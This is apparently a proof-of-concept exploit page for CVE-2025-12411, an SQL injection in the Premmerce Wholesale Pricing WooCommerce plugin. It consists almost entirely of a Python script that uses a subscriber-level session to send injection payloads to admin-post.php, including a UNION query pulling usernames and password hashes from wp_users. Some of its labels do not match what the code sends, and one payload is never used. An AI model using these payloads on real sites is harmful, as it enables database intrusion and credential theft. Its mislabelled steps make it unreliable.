CVE-2025-12411 WordPress Premmerce Wholesale Pricing插件SQL注入漏洞

import requests import sys from urllib.parse import urlencode # CVE-2025-12411 SQL Injection PoC # Target: Premmerce Wholesale Pricing for WooCommerce <= 1.1.10 # Attack Vector: ID parameter in premmerce_update_price_type action target_url = "http://target-site.com/wp-admin/admin-post.php" # Authentication: Attacker needs subscriber-level WordPress account # Replace with valid WordPress session cookies cookies = { 'wordpress_test_cookie': 'WP Cookie check', 'wordpress_logged_in_user': 'attacker_user_id', 'wordpress_sec': 'attacker_session_token' } # SQL Injection Payloads # Boolean-based blind injection to extract database version payload_id = "1 AND (SELECT CASE WHEN (SUBSTRING(@@version,1,1)='8') THEN SLEEP(5) ELSE 0 END)" # UNION-based injection to extract users table payload_union = "1 UNION SELECT 1,2,3,4,5,user_login,user_pass,8,9,10 FROM wp_users LIMIT 0,1--" # Data exfiltration via premmerce_update_price_type data_update = { 'action': 'premmerce_update_price_type', 'ID': payload_union, 'price_type_name': 'Malicious Price Type', 'price_type_slug': 'malicious-slug' } # Data exfiltration via premmerce_delete_price_type data_delete = { 'action': 'premmerce_delete_price_type', 'price_type': "normal' OR '1'='1", '_wpnonce': '' # May not be required if plugin doesn't implement nonce check } print("[*] CVE-2025-12411 SQL Injection Test") print(f"[*] Target: {target_url}") # Test blind injection print("[*] Testing boolean-based blind injection...") response = requests.post(target_url, data=data_update, cookies=cookies) # Test UNION injection print("[*] Testing UNION-based injection...") response = requests.post(target_url, data=data_delete, cookies=cookies) print("[*] Request sent. Check response or database for results.") print("[*] Note: This PoC requires valid WordPress authentication with subscriber+ role")